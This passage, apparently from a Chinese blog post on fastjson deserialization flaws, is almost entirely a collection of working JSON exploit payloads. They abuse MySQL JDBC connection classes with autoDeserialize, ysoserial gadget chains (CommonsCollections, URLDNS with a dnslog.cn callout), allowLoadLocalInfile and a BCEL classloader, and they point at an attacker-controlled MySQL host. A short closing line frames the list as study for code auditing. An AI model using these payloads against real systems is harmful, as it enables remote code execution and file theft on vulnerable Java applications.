"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}

LoadBalancedMySQLConnection

1
2
3
4
5
6
7
8
9
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}

UnpooledDataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"key": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$$l$8b$..."
}
}: "a"
}
}

LoadBalancedMySQLConnection2

1
{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" } } }}

ReplicationMySQLConnection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{
"host":""
}],
"slaves":[],
"properties":{
"host":"127.0.0.1",
"port":"3306",
"user":"yso_CommonsCollections4_calc",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}

总结

学习这些fastjson漏洞,是为了提高java代码审计和利用链挖掘的能力,说实话实战中当然还是用自动化工具来扫描使用了什么服务,涉及哪些CVE。